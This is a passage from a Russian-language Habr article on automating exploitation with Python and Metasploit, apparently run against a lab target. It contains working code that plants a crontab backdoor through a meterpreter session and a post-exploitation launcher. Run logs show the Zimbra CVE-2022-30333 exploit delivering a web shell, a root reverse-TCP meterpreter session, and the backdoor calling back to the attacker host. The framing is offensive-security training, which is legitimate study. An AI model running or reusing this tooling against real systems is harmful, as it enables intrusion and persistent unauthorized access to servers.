{remote_full_path_to_cron_file}'\"") meterpreter_session.read() sleep(3) meterpreter_session.write(f"cat {remote_full_path_to_cron_file}") sleep(2) output = meterpreter_session.read() if cron_task in output: logger.warning("Задача уже в кронтабе") else: # Если нашей задачи нет в файле, дописываем в конец файла нашу задачу command = ( f"execute -f /bin/bash -a \"-c 'echo \\\"{cron_task}\\\" >> {remote_full_path_to_cron_file} '\"" ) meterpreter_session.write(command) sleep(3) meterpreter_session.write(f"cat {remote_full_path_to_cron_file}") sleep(2) output = meterpreter_session.read() if cron_task in output: logger.info("Задача для кронтаба успешно добавлена в файл") else: logger.error("Не удалось добавить задачу") return False # Перезаписываем в кронтаб файл с нашей таской на запуск бэкдора command = f"execute -f bash -a '-c \"crontab {remote_full_path_to_cron_file}\"'" meterpreter_session.write(command) sleep(4) meterpreter_session.read() meterpreter_session.write(f"del {remote_full_path_to_cron_file}") return True
Давайте в main.py предложим пользователю после завершения скрипта атаки запустить создание crontab бэкдора.
def main(): ... if args.skip_scan or args.run_script: ... if args.run_script: ... run_script(exploit, args) else: ... run_script(selected_exploit, args) else: ... run_script(selected_exploit, args) # Чтобы не парсить скрипты постэксплуатации, задаем их списком payload_modules = [{ "path": os.path.join(os.getcwd(), "generic_payloads/linux_generic_payloads.py"), "name": "generic_create_crontab_backdoor" }] # После запуска основного скрипта автоматической эксплуатации, предлагаем выбрать универсальный скрипт постэксплуатации logger.info("Для linux доступны следующие скрипты постэксплуатации:") for i, module in enumerate(payload_modules, start=1): module["number"] = i logger.info(f"[{i}] {module['name']}") request_text = "Выбери модуль постэксплуатации: " payload_module = parse_imput_number(payload_modules, request_text) # Запускаем скрипт постэксплуатации, передавая название целевой функции run_script(payload_module, args, payload_module["name"]) def run_script(selected_exploit: dict, args: argparse.Namespace, func_name="main"): ... logger.info("[+] Запуск скрипта с указаными параметрами") import_and_run_func_from_path(selected_exploit["path"], config, func_name) def import_and_run_func_from_path(file_path: str, config: dict, func_name: str): ... # Присваиваем переменной искомую функцию и запускаем ее func_to_run = getattr(module, func_name) func_to_run(config)
Если запустить обновленный скрипт, мы получим следующий результат:
└─# python3 main.py -run-script exploit_zimbra_unrar_rce -lhost 10.10.4.55 10.10.2.50 INFO: Пропускаем сканирование INFO: Выбран следующий скрипт для запуска: exploit_zimbra_unrar_rce INFO: [+] Запуск скрипта с указаными параметрами INFO: [+] Начало эксплуатации уязвимости CVE-2022-30333 INFO: [+] Создаем вредоносный архив с помощью модуля Metasploit INFO: Архив успешно создан: /root/.msf4/local/payload.rar INFO: {'50': 'Exploit: multi/handler'} INFO: [+] Письмо успешно отправлено INFO: Веб-шелл сработал: 200 INFO: {'15': {'type': 'meterpreter', 'tunnel_local': '10.10.4.55:4455', 'tunnel_peer': '10.10.2.50:57350', 'via_exploit': 'exploit/multi/handler', 'via_payload': 'payload/linux/x64/meterpreter/reverse_tcp', 'desc': 'Meterpreter', 'info': 'zimbra @ mail.ampire.corp', 'workspace': 'false', 'session_host': '10.10.2.50', 'session_port': 57350, 'target_host': '', 'username': 'root', 'uuid': 'ckofwmc2', 'exploit_uuid': 'zlyravuc', 'routes': '', 'arch': 'x64', 'platform': 'linux'}} INFO: [+] Meterpreter-сессия с Zimbra сервером успешно получена INFO: Для linux доступны следующие скрипты постэксплуатации: INFO: [1] generic_create_crontab_backdoor Выбери модуль постэксплуатации: 1 INFO: [+] Вы выбрали: generic_create_crontab_backdoor INFO: [+] Запуск скрипта с указаными параметрами INFO: Session environ: Read 168 bytes from 1: LANG=C USER=zimbra HOME=/opt/zimbra PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin INFO: Полезная нагрузка /opt/zimbra/default_settings успешно загружена INFO: Задача для кронтаба успешно добавлена в файл INFO: Бэкдор упешно создан
Теперь мы можем проверить успешность создания бэкдора, для этого можно вручную запустить multi/handler:
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 10.10.4.55 lhost => 10.10.4.55 msf6 exploit(multi/handler) > set lport 6677 lport => 6677 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.4.55:6677 [*] Sending stage (3045380 bytes) to 10.10.2.50 [*] Meterpreter session 1 opened (10.10.4.55:6677 -> 10.10.2.50:39624) meterpreter >
Обработчик входящих подключений поймал meterpreter-сессию, что говорит об успешной работе кронтаб-бэкдора.
Что в итоге?
Мы разобрали, как можно автоматизировать типовые задачи эксплуатации и постэксплуатации на базе связки Python + Metasploit Framework. Такой подход отлично вписывается в любые сценарии, будь то:
-
повседневные рабочие задачи,
-
изучение курсов по Offensive Securitry,
-
решение различных CTF-задач,
-
участие в Bug Bounty.
Вместо того, чтобы каждый раз вручную сканировать, запускать эксплойты, проверять сессии, закрепляться в системе, мы написали инструмент, который позволяет делать всё это гораздо быстрее, а главное — его можно дополнять и адаптировать под конкретные задачи.
Главное, что даёт автоматизация — свободу сосредоточиться на действительно важных вещах. А среди них — не забыть обновить софт и, конечно, сменить, наконец, тот самый шестизначный пароль.

ссылка на оригинал статьи https://habr.com/ru/articles/934088/
Добавить комментарий